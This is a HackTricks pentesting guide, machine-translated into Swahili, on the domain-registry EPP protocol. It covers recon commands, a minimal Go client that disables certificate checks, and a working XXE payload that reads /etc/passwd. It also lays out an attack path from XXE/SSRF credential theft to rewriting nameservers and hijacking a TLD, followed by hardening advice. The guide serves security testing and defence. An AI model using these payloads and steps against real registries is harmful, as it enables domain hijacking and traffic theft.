700 - Pentesting EPP
Reading time: 6 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
Protokali ya Utoaji wa Mipango (EPP) ni protokali ya mtandao inayotumika kwa usimamizi wa majina ya domain na rasilimali nyingine za mtandao na usajili wa majina ya domain na wasajili. Inaruhusu automatisering ya usajili wa majina ya domain, upya, uhamisho, na mchakato wa kufuta, ikihakikisha mfumo wa mawasiliano wa kawaida na salama kati ya entiti tofauti katika mfumo wa majina ya domain (DNS). EPP imeundwa kuwa na uwezo wa kubadilika na kupanuka, ikiruhusu kuongeza vipengele na amri mpya kadri mahitaji ya miundombinu ya mtandao yanavyoendelea.
Kimsingi, ni moja ya protokali ambazo wasajili wa TLD wataweza kutoa kwa wasajili wa majina ya domain ili kusajili majina mapya katika TLD.
Pentest
Katika makala hii ya kuvutia sana unaweza kuona jinsi utafiti wa usalama ulivyogundua kwamba utekelezaji wa protokali hii ulikuwa na udhaifu wa XXE (XML External Entity) kwani protokali hii inatumia XML kuwasiliana, ambayo ingewawezesha washambuliaji kuchukua udhibiti wa TLD tofauti kumi.
Enumeration & Recon
Seva za EPP karibu kila wakati husikiliza kwenye TCP 700/tcp
kupitia TLS. Utekelezaji wa kawaida pia unalazimisha mutual-TLS (mTLS) hivyo mteja lazima aonyeshe cheti halali kilichotolewa na CA ya usajili. Hata hivyo, utekelezaji mwingi wa majaribio ya kibinafsi au kabla ya uzalishaji unakosa udhibiti huo:
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head
Ikiwa seva haitakata muunganisho baada ya mkono wa TLS, unaweza kujaribu kutuma ujumbe usio na uthibitisho <hello/>
:
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>
Wateja wa chanzo wazi wanaofaa kwa majaribio
- epp-client (Go) – inatunzwa kwa ufanisi, inasaidia TCP/TLS na EPP-over-HTTPS (RFC 8730):
go install github.com/domainr/epp/cmd/epp@latest
- gandi/go-epp – maktaba ya mteja ya chini ambayo inaweza kuandaliwa kwa urahisi kwa ajili ya fuzzing au workflows za mtindo wa nuclei.
- afq984/php-epp-client – utekelezaji wa PHP unaotumiwa na registrars wengi wadogo; lengo rahisi kwa ajili ya mapitio ya msimbo.
Mfano wa skripti ya kuingia+kuangalia ya chini na Go epp-client:
package main
import (
"github.com/domainr/epp"
"crypto/tls"
)
func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}
Ukatili wa Kawaida & Uthibitisho wa 2023-2025
Mwaka | Kipengele | CWE | Athari |
---|---|---|---|
2023 | CoCCA Registry < 3.5 | CWE-611 XXE | Kusoma faili kwa mbali & SSRF kupitia payload iliyoundwa <epp> (patch: 2023-11-02) |
2024 | FRED EPP Server 2.x | CWE-322 Ukosefu wa uthibitisho wa TLS wa kutosha | Kupita kwa mTLS kuliruhusu kuingia kwa mregistrar asiyeidhinishwa |
2025 | Jukwaa la mregistrar la miliki | CWE-306 Kukosekana kwa Uthibitisho kwa Kazi Muhimu | Kituo cha idhini ya uhamisho wa domain kimefunuliwa kupitia daraja la EPP-HTTP |
XXE / SSRF payload (inafanya kazi dhidi ya utekelezaji mwingi wa Java/Spring)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>
Wakati parser imewekwa vibaya (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true
) maudhui ya faili yanarudishwa ndani ya muundo wa <resData>
.
Utafutaji mwingine wa kawaida
- Sera dhaifu za akidi – EPP login passphrases fupi kuliko herufi 8; brute-force mara nyingi inawezekana kwa sababu spesifikesheni inapendekeza tu (sio inahitaji) ukomo wa kiwango.
- Kukosa hali ya
registryLock
/serverUpdateProhibited
– mara tu baada ya kuthibitishwa, washambuliaji wanaweza mara moja kubadilisha rekodi za NS na kuiba trafiki. - Ujumbe wa kura usiosainiwa – baadhi ya utekelezaji bado haujasaini ujumbe wa Q&A wa kura, ikiruhusu udanganyifu/kuiba kutoka kwa waendeshaji wa registrar.
Njia ya Shambulio: Kutoka Sifuri hadi TLD Hijack
- Gundua mwisho wa EPP (mara nyingi umefichwa nyuma ya mwenyeji wa jumla kama
ot&e.<tld>.nic.<cc>
). - Tumia moja ya udhaifu hapo juu kupata akidi za kiwango cha registrar (XXE → SSRF hadi IMDSv1, exfil ya akidi, au TLS-bypass).
- Toa maombi ya
<update>
kubadilisha rekodi zahostObj
za domain kuwa seva za jina zinazodhibitiwa na mshambuliaji. - (Hiari) Wasilisha
<transfer>
kuhamasisha domain kwa registrar inayodhibitiwa na mshambuliaji – rejista nyingi bado zinategemea nambari moja ya uthibitisho. - Faida: udhibiti kamili wa eneo la DNS, uwezo wa kuomba vyeti vya TLS kupitia ACME.
Hatua za Kijamii na Kuimarisha
- Lazimisha mTLS na vyeti vya mteja kwa kila registrar na pin CA ya rejista.
- Weka
parserFeature secure-processing=true
au sawa ili kuua XXE. - Endesha fuzzing endelevu ya parser ya XML (kwa mfano, na
go-fuzz
aujazzer
kwa Java). - Tumia Hali ya Registry Lock / server*Prohibited kwa maeneo ya thamani kubwa.
- Fuata foleni ya
poll
kwa amri za suspicious<transfer>
au<update>
na onyo kwa wakati halisi. - Marekebisho ya mkataba wa DNS-Abuse wa ICANN 2024 yanahitaji rejista kuthibitisha udhibiti wa kiwango na uthibitisho – tumia hayo.
Marejeleo
- Kamati ya Ushauri wa Usalama na Utulivu ya ICANN (SSAC). "SAC118: Matokeo ya Kushindwa kwa Opereta wa Rejista Kutekeleza Udhibiti wa Usalama wa EPP". 2024.
- HackCompute – "Kuhack seva za EPP: kutumia XXE kuiba TLDs" (2023).
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.